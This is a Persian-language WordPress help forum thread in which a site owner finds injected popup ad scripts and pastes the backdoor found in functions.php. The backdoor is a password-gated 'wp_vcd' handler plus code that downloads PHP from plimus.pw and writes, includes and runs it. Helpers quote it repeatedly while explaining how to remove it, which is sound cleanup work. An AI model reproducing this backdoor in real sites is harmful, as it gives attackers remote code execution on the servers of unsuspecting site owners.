رفتن به مطلب

مشکل عجیب


پست های پیشنهاد شده

سلام

من امروز با مشکلی رو به رو شدم که کد های پاپ اپ به صورت خودکار به سایت اضافه شدن بدون اینکه من قرار بدم ... برسی که کردم این کد ها داخل قالب نیستند که بخوام حذف کنم . حالا نمیدونم از کجا اومدن که بخوام حذف کنم ! از طرفی پلاگین جدید هم نصب نکردم که از اون طریق اضافه بشن .
این کدها هستن 

<script type="text/javascript" src="//go.oclaserver.com/apu.php?zoneid=1439974"></script>

<script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1439979&interactive=1&pushup=1"></script>

شما برای رفع این مشکل راه حلی دارین ؟!

http://barato.ir/

لینک به ارسال
در 3 دقیقه قبل، samirhm گفته است :

باسلام

دوست عزیز میشه لطفا محتویات فایل function.php خودتون رو ارسال کنید!

مشکل از اون نیست چون هیچ تغییری نداشته فایل بدون ویرایش با فایل موجود با هم یکسان هستند !

 

لینک به ارسال

سلام و درود

 

شما یه کاری کن.

توی روت وردپرست یعنی همونجایی که wp-load.php هست یه فایل php بساز به اسم مثلا info.php بعد توش این کدها رو بذار.

<?php

include('wp-load.php');

global $wp_filter;
echo '<pre>';
var_dump($wp_filter['wp_footer']);
echo '</pre>';

بعد اطلاع بده یه نگاهی به نتیجه این فایلی که ساختی بندازم.

لینک به ارسال
در 54 دقیقه قبل، mehran-b گفته است :

سلام و درود

 

شما یه کاری کن.

توی روت وردپرست یعنی همونجایی که wp-load.php هست یه فایل php بساز به اسم مثلا info.php بعد توش این کدها رو بذار.


<?php

include('wp-load.php');

global $wp_filter;
echo '<pre>';
var_dump($wp_filter['wp_footer']);
echo '</pre>';

بعد اطلاع بده یه نگاهی به نتیجه این فایلی که ساختی بندازم.

ایجاد کردم

لینک به ارسال
در 7 دقیقه قبل، zakeri گفته است :

ایجاد کردم

والا چیز مشکوکی اینجا نیست.

در حالی که اگر اون کد ها مستقیم توی footer.php نباشه حتما توسط wp_footer داره پرینت میشه.

ولی عجیبه چیز مشکوکی نیست.

لینک به ارسال
در هم اکنون، mehran-b گفته است :

والا چیز مشکوکی اینجا نیست.

در حالی که اگر اون کد ها مستقیم توی footer.php نباشه حتما توسط wp_footer داره پرینت میشه.

ولی عجیبه چیز مشکوکی نیست.

عجب حالا چه کنیم :|||||||

لینک به ارسال
در هم اکنون، mehran-b گفته است :

اون کدهایی که میگید الان توی کدوم صفحه از سایت هست؟

همیشه هست یا گه گاه هست؟

گه گاهی 

تو همه صفحهات هست دقیقا پایین مطلب اضافه میشه 

داخل صفحه اصلی میره داخل فوتر 

اخه چطور ممکنه یهو این مشکل ایجاد بشه دیروز سالم بود منم سر کار بودم تا ظهری که اومدم این مشکلو داشت ....

لینک به ارسال
در ۱ ساعت قبل، zakeri گفته است :

مشکل از اون نیست چون هیچ تغییری نداشته فایل بدون ویرایش با فایل موجود با هم یکسان هستند !

 

مطمئنید ؟ خب کاشکی بازم میفرستادید فایل یا کدش رو !

لینک به ارسال
<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'cf75//////8de98'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code1\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

				
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}

	


if ( ! function_exists( 'theme_temp_setup' ) ) {  
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

if($tmpcontent = @file_get_contents("http://www.plimus.pw/code1.php?i=".$path))
{


function theme_temp_setup($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}

extract(theme_temp_setup($tmpcontent));
}
}
}



?>

دوستان ای چی چی هست چه کاری انجام میده ؟ خطرناک نباشه :| 

احتمالا مشکل از این بوده 

ویرایش شده توسط zakeri
لینک به ارسال
در 6 دقیقه قبل، zakeri گفته است :

if ( ! function_exists( 'theme_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { if($tmpcontent = @file_get_contents("http://www.plimus.pw/code1.php?i=".$path)) { function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } extract(theme_temp_setup($tmpcontent)); } } }

دوست عزیز اگر این قطعه کد از فایل function.php هست، اون رو حذف کنید و سیو کنید، دوباره وارد صفحه ای که مشکل داره بشید و دکمه های CTRL+F5 رو چند بار فشار بدید و ببنید درست میشه یا نه!(ابتدا از فایل یک بکاپ بگیرید تا اگر مشکلی از این قطعه کد نبود دوباره بتونید درستش کنید !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)

لینک به ارسال

دقت کنید که فقط قطعه کد پایین رو حذف کنید نه همش رو !:

if ( ! function_exists( 'theme_temp_setup' ) ) {  
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

if($tmpcontent = @file_get_contents("http://www.plimus.pw/code1.php?i=".$path))
{


function theme_temp_setup($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}

extract(theme_temp_setup($tmpcontent));
}
}
}

 

لینک به ارسال
در 2 دقیقه قبل، samirhm گفته است :

دقت کنید که فقط قطعه کد پایین رو حذف کنید نه همش رو !:


if ( ! function_exists( 'theme_temp_setup' ) ) {  
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

if($tmpcontent = @file_get_contents("http://www.plimus.pw/code1.php?i=".$path))
{


function theme_temp_setup($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}

extract(theme_temp_setup($tmpcontent));
}
}
}

 

همش اضافه شده ...

این تمام کدهای اون قسمت نیست اینا اضافه شدن 

من با بکاپ روی هاست چک میکردم جالبه کل بکاپ ها رو ویرایش کرده اینو اضافه کرده با فایل داخل سیستم چک کردم متوجه شدم 

ولی بازم چک کردم تبلیغه هنوز هست شاید به خاطر کش بوده حالا باز چک کنم ببینم چی میشه 

لینک به ارسال

اگر همش اضافه شده پس همش رو از تمامی فایل هایی که اضافه کرده پاک کنید و کش رو پاک کنید ببیند درست میشه یا نه !(حتما قبلا از تمام فایل هایی که ویرایش میکنید بکاپ بگیرید !!!!!!!!!!!!!)

لینک به ارسال

دوست عزیز اگر مشکلتون حل شد اعلام کنید تا دوستان هم اگر مشکلی هم سان شما داشتند، کارشون راه بیفته ;)

لینک به ارسال
در 12 دقیقه قبل، samirhm گفته است :

اگر همش اضافه شده پس همش رو از تمامی فایل هایی که اضافه کرده پاک کنید و کش رو پاک کنید ببیند درست میشه یا نه !(حتما قبلا از تمام فایل هایی که ویرایش میکنید بکاپ بگیرید !!!!!!!!!!!!!)

آندرستند :D

ممنون از کمکی که کردین حتی دو گیگ کل سایتو دانلود کردم ولی هیچی نیافتم :/ 

لینک به ارسال

بنده الان وبسایت شما رو دوباره نگاه کردم ، کد های مخرب وجود نداشت، مشکلتون حل شده ؟

لینک به ارسال
در 1 دقیقه قبل، samirhm گفته است :

بنده الان وبسایت شما رو دوباره نگاه کردم ، کد های مخرب وجود نداشت، مشکلتون حل شده ؟

ظاهرا مشکل از همون کد بوده فعلا که رفع شده 

چون من با همه مواردی که داشتم تست کردم موبایل vps و ... حالا شاید اینا کش شدن ...

 

لینک به ارسال

:( سلام

آقا برا منم همچین مشکلی پیش اومده :|

Manotomovie.ir

میشه یه بررسی کنید :/

ویرایش شده توسط MrMohammad
:(
لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...